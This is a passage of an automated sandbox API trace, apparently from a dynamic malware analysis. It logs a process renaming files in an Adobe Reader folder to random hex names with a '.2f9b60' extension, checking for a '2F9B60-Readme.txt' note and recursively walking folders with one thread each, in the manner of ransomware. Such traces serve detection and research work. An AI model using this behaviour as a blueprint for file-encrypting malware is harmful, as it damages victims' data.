_Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="27") returned 2 [0128.757] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="5e") returned 2 [0128.757] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="50") returned 2 [0128.757] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="24") returned 2 [0128.757] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="55") returned 2 [0128.757] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="2d") returned 2 [0128.757] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="fa") returned 2 [0128.757] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="8f") returned 2 [0128.757] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="40") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="b5") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="f4") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="a3") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="2c") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="4d") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="9b") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="a2") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="b8") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="50") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="53") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="ea") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="66") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="56") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e960, _Format="%c%c" | out: _Dest="61") returned 2 [0128.758] sprintf (in: _Dest=0x1cd9e962, _Format="%c%c" | out: _Dest="fb") returned 2 [0128.758] RtlInitAnsiString (in: DestinationString=0x2dbdf788, SourceString="4962275e5024552dfa8f40b5f4a32c4d9ba2b85053ea665661fb" | out: DestinationString="4962275e5024552dfa8f40b5f4a32c4d9ba2b85053ea665661fb") [0128.758] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dbdf758, SourceString="4962275e5024552dfa8f40b5f4a32c4d9ba2b85053ea665661fb", AllocateDestinationString=1 | out: DestinationString="4962275e5024552dfa8f40b5f4a32c4d9ba2b85053ea665661fb") returned 0x0 [0128.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85f210 [0128.759] wcscat (in: _Dest=0x202aead0, _Source="4962275e50245" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4962275e50245") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4962275e50245" [0128.759] wcscat (in: _Dest=0x202aead0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4962275e50245.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4962275e50245.2f9b60" [0128.759] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4962275e50245.2f9b60", NtPathName=0x2dbdf730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\4962275e50245.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8615f0 [0128.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0128.761] NtQueryInformationFile (in: FileHandle=0xd78, IoStatusBlock=0x2dbdf798, FileInformation=0x2dbdf7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2dbdf798, FileInformation=0x2dbdf7a8) returned 0x0 [0128.762] NtSetInformationFile (FileHandle=0xd78, IoStatusBlock=0x2dbdf798, FileInformation=0x2dbdf7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aead0) returned 1 [0128.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0128.764] FlushFileBuffers (hFile=0xd78) returned 1 [0128.765] CloseHandle (hObject=0xd78) returned 1 [0128.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85f210 [0128.766] wcscpy (in: _Dest=0x1b85f210, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0128.767] wcscat (in: _Dest=0x1b85f210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0128.767] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0128.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0128.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 Thread: id = 893 os_tid = 0x149c [0101.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e410 [0101.101] wcscpy (in: _Dest=0x1b86e410, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0101.101] wcscat (in: _Dest=0x1b86e410, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0101.101] wcscat (in: _Dest=0x1b86e410, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*" [0101.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd638c0 [0101.101] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*", lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c250 [0104.861] wcscmp (_String1=".", _String2=".") returned 0 [0104.861] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.861] wcscmp (_String1="..", _String2=".") returned 1 [0104.861] wcscmp (_String1="..", _String2="..") returned 0 [0104.861] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIDFont", cAlternateFileName="")) returned 1 [0104.861] wcscmp (_String1="CIDFont", _String2=".") returned 1 [0104.861] wcscmp (_String1="CIDFont", _String2="..") returned 1 [0104.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866fc0 [0104.861] wcscpy (in: _Dest=0x1b866fc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0104.861] wcscat (in: _Dest=0x1b866fc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0104.862] wcscat (in: _Dest=0x1b866fc0, _Source="CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0152.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b866fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1258 [0152.450] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1 [0152.450] wcscmp (_String1="CMap", _String2=".") returned 1 [0152.450] wcscmp (_String1="CMap", _String2="..") returned 1 [0152.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x20503b90 [0152.450] wcscpy (in: _Dest=0x20503b90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0152.450] wcscat (in: _Dest=0x20503b90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0152.450] wcscat (in: _Dest=0x20503b90, _Source="CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0152.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20503b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0152.451] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1 [0152.451] wcscmp (_String1="ENUtxt.pdf", _String2=".") returned 1 [0152.451] wcscmp (_String1="ENUtxt.pdf", _String2="..") returned 1 [0152.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85d2f0 [0152.451] wcscpy (in: _Dest=0x1b85d2f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0152.451] wcscat (in: _Dest=0x1b85d2f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0152.451] wcscat (in: _Dest=0x1b85d2f0, _Source="ENUtxt.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" [0152.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1078 [0152.452] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1 [0152.452] wcscmp (_String1="Font", _String2=".") returned 1 [0152.452] wcscmp (_String1="Font", _String2="..") returned 1 [0152.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x42060230 [0152.453] wcscpy (in: _Dest=0x42060230, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0152.453] wcscat (in: _Dest=0x42060230, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0152.453] wcscat (in: _Dest=0x42060230, _Source="Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0152.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x42060230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b0 [0152.454] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0152.454] wcscmp (_String1="Linguistics", _String2=".") returned 1 [0152.454] wcscmp (_String1="Linguistics", _String2="..") returned 1 [0152.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85c720 [0152.454] wcscpy (in: _Dest=0x1b85c720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0152.454] wcscat (in: _Dest=0x1b85c720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0152.454] wcscat (in: _Dest=0x1b85c720, _Source="Linguistics" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" [0152.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85c720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1690 [0152.455] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1 [0152.455] wcscmp (_String1="SaslPrep", _String2=".") returned 1 [0152.455] wcscmp (_String1="SaslPrep", _String2="..") returned 1 [0152.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x420601b0 [0152.455] wcscpy (in: _Dest=0x420601b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0152.455] wcscat (in: _Dest=0x420601b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0152.455] wcscat (in: _Dest=0x420601b0, _Source="SaslPrep" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" [0152.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x420601b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0152.456] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1 [0152.456] wcscmp (_String1="TypeSupport", _String2=".") returned 1 [0152.456] wcscmp (_String1="TypeSupport", _String2="..") returned 1 [0152.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85c3c0 [0152.457] wcscpy (in: _Dest=0x1b85c3c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0152.457] wcscat (in: _Dest=0x1b85c3c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0152.457] wcscat (in: _Dest=0x1b85c3c0, _Source="TypeSupport" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport" [0152.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85c3c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb38 [0152.457] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0 [0152.458] FindClose (in: hFindFile=0x1cd9c250 | out: hFindFile=0x1cd9c250) returned 1 [0152.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd638c0) returned 1 [0152.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e410) returned 1 [0152.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e3a0) returned 1 Thread: id = 894 os_tid = 0x14a0 [0101.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79e5f0 [0101.103] wcscpy (in: _Dest=0x1b79e5f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0101.103] wcscat (in: _Dest=0x1b79e5f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\" [0101.103] wcscat (in: _Dest=0x1b79e5f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*" [0101.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62060 [0101.104] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*", lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ce50 [0102.845] wcscmp (_String1=".", _String2=".") returned 0 [0102.845] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.845] wcscmp (_String1="..", _String2=".") returned 1 [0102.845] wcscmp (_String1="..", _String2="..") returned 0 [0102.845] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="{AC76B~1")) returned 1 [0102.845] wcscmp (_String1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", _String2=".") returned 1 [0102.845] wcscmp (_String1="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", _String2="..") returned 1 [0102.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x106580 [0102.845] wcscpy (in: _Dest=0x106580, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0102.845] wcscat (in: _Dest=0x106580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\" [0102.845] wcscat (in: _Dest=0x106580, _Source="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" [0127.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1618 [0127.509] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="{AC76B~1")) returned 0 [0127.509] FindClose (in: hFindFile=0x1cd9ce50 | out: hFindFile=0x1cd9ce50) returned 1 [0127.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62060) returned 1 [0127.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0127.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867dc0) returned 1 Thread: id = 895 os_tid = 0x14a4 [0101.106] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm")) returned 0x20 [0103.251] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm", dwFileAttributes=0x20) returned 1 [0103.587] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1760 [0103.588] GetFileSizeEx (in: hFile=0x1760, lpFileSize=0x2dcaf880 | out: lpFileSize=0x2dcaf880*=16833) returned 1 [0103.588] SetFilePointerEx (in: hFile=0x1760, 